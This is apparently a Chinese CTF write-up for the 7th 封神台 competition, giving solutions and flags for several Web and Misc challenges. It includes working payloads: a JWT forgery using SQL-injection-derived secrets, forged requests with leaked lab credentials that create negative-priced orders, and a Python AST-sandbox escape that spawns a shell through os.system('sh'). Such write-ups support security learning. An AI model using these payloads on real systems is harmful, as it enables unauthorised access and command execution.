第七届封神台CTF
Web
welcome_to_zkaqctf
源码:
const {promises: fs} = require('fs');
const fastify = require('fastify');const flag = process.env.FLAG || 'zkaq{do_you_believe_this_is_flag?}';const app = fastify();
app.get('/', async (_, res) => {
res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {if (typeof req.body === 'object' && req.body[flag] === true) {return res.send(`OhoUhOu~ flag is ${flag}`);}return res.send(`emmmmmmmwmwmwmwm NO...`);
});
思路:
传一个 null 就行,req.body[null] === true
flag:zkaq{S0metime_Empty_1s_FU11}
科目四
直接打答完题就行
flag:ZKAQCTF{d0_y0u_think_netw0rk_security_imp0rtant?}
诗和远方
思路:
先审计源码
学习:ffifdyop——绕过中一个奇妙的字符串 - 你知道是我的 - 博客园
可以先使用 md5 绕过,使用用万能密码,ffifdyop,然后发现 Cookies,Secret 是 a_passenger_signing_key_give?
然后使用万能密码替换 kid,Secret 就是上面找到的
eyJhbGciOiJIUzI1NiIsImtpZCI6ImZmaWZkeW9wIiwidHlwIjoiSldUIn0.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.tcp_Agxg2lLbh6-Ys0hZ2-5uoQAtGbh7tAnIVFSfTmU
得到新的 secret
conductor_key_514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e
最后在替换新的 jwt,发送就拿到 flag
flag:zkaq{DuduDu_1etS_9o_to_P0etry_@nd_distance!}
为了部落!
原题:CTFtime.org / 34C3 CTF / JuniorCTF - 披萨门 / Writeup
思路:
后面随便跟个东西,发现报错
这是 Django 框架调试页面的形式产生结果,
^$ [name='index']
^admin
^robots.txt$
^foobarbaz/
^static/(?P
.*)$
我们访问 foobarbaz/ 会弹出来一个认证
Authorization: Basic YWRtaW46Ig%3d%3d
可以发现角色为 admin 的用户名和密码
sh1a:just_do_it_goddamnit
创建一个账号先
访问 url/foobarbaz/pizza/create
我们这里有个商品买不了,我们先创建一个商品,价格为负的
POST /foobarbaz/pizza/create HTTP/1.1
Host: r7ikie1s.lab.aqlab.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: http://r7ikie1s.lab.aqlab.cn/foobarbaz/pizza/create
Accept-Encoding: gzip, deflate
Authorization: Basic c2gxYTpqdXN0X2RvX2l0X2dvZGRhbW5pdA==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://r7ikie1s.lab.aqlab.cn
Upgrade-Insecure-Requests: 1
Cookie: csrftoken=mif46n38yuyop8HQY7rIBmDN0XkJgiJ65nqMtIR3OV6rQMZRpLEORKf3ORemXDTN; sessionid=ueb669ntszx036hkytidnmnajk76ycgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Priority: u=0, i
Content-Length: 110csrfmiddlewaretoken=5lDYUpTjbLeKtP9rWpxEQWO8kupRryEROqOGhKHercMNUtrsn3KK6kqo8oju8TOy&name=letmein2&toppings=letmein2&price=-2338
POST /foobarbaz/order/create HTTP/1.1
Host: r7ikie1s.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Authorization: Basic c2gxYTpqdXN0X2RvX2l0X2dvZGRhbW5pdA==
Cookie: csrftoken=mif46n38yuyop8HQY7rIBmDN0XkJgiJ65nqMtIR3OV6rQMZRpLEORKf3ORemXDTN; sessionid=ueb669ntszx036hkytidnmnajk76ycgi
Referer: http://r7ikie1s.lab.aqlab.cn/foobarbaz/order/create
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Origin: http://r7ikie1s.lab.aqlab.cn
Priority: u=0, i
Content-Length: 95csrfmiddlewaretoken=8ZKc27d4Uatdfb1vykqk9UEK3pQK8a5dR4VUps1ZaB1gGPjwZYDqpig0RjKnPvfU&arms=letmein2
发现这段代码可能存在 xxe 漏洞
Misc
misc1-签到
很明显,这是一段密文!你说对不对?逐流流随洋波波随逐波随流波洋逐波波流波逐随逐洋波波随波波流波逐洋波波逐流逐波流逐洋逐波随随流流流波洋波逐波逐随逐流流洋波随流逐随随随随洋波随流逐逐波逐流洋波逐波波流逐随随洋波逐随波随随流流洋波随流逐波随逐波洋波流波逐逐随波随洋波波逐流波波波流洋波流逐流随逐波逐洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随洋波波波随流随逐随浪波流逐逐浪波逐逐流浪波逐随波浪波流随波浪波流逐流浪波逐随流浪波流随逐浪波流逐波浪波流随随浪波流波随洪流随随浪波波流流洪流随波浪波流随流浪波波流流浪波流随流浪波流波随浪波随随随浪波流随逐浪波流波随浪波波流流浪波随随逐浪波流逐波浪波波流流浪波流随流浪波波波波浪波逐逐波浪波波流流浪波逐随逐浪波逐流流浪波波流流浪波波逐逐浪波逐逐随浪波流波波浪波波流流洪流随波浪波逐逐波浪波流波波浪波流流波
思路:
很明显随波逐流解码
flag:zkaq{crypt0_1s_st@rt_By_sUi_bo_Zhu_1iu}
来一杯tea
源码:
import astdef safe_import():print("Look! this guy is using imports!???O.o")def safe_call():print("Look! this guy is using calls!???o.O")class XiTiAiFu(ast.NodeTransformer):def visit_Call(self, node: ast.Call) -> ast.AST:return ast.Call(func=ast.Name(id='safe_call', ctx=ast.Load()), args=[], keywords=[])def visit_Import(self, node: ast.AST) -> ast.AST:return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))def visit_ImportFrom(self, node: ast.ImportFrom) -> ast.AST:return ast.Expr(value=ast.Call(func=ast.Name(id='safe_import', ctx=ast.Load()), args=[], keywords=[]))def visit_Assign(self, node: ast.Assign) -> ast.AST:return ast.Assign(targets=node.targets, value=ast.Constant(value=0))def visit_BinOp(self, node: ast.BinOp) -> ast.AST:return ast.BinOp(left=ast.Constant(0), op=node.op, right=ast.Constant(0))something = input('good morning guy,Do you need something:').splitlines()[0]box = ast.parse(something)
box = XiTiAiFu().visit(box)
ast.fix_missing_locations(box)exec(compile(box, '', 'exec'), {'__builtins__': {}}, {'safe_import': safe_import, 'safe_call': safe_call})
原题:misc/Astea - Starlight's Blog
exp:把人家的 cup 改成 box
box: 0 = safe_call.__globals__['box']; builtins: 0 = safe_call.__builtins__; box.__class__.__format__: 0 = builtins['eval']; f"{box:builtins['__import__']('os').system('sh')}"
flag:zkaq{m@ybe_Pyth0n_s3ndb0x_1s_unS@fe}
黑客儿传奇:两小时
原题:CTFtime.org / Cryptoverse CTF 2023 / Misc/OJail / Writeup
发现 flag 不在这,搜索一下 flag
Sys.command "find / name 'flag'";;
flag:zkaq{J41L3d_0000-C4mL@@!}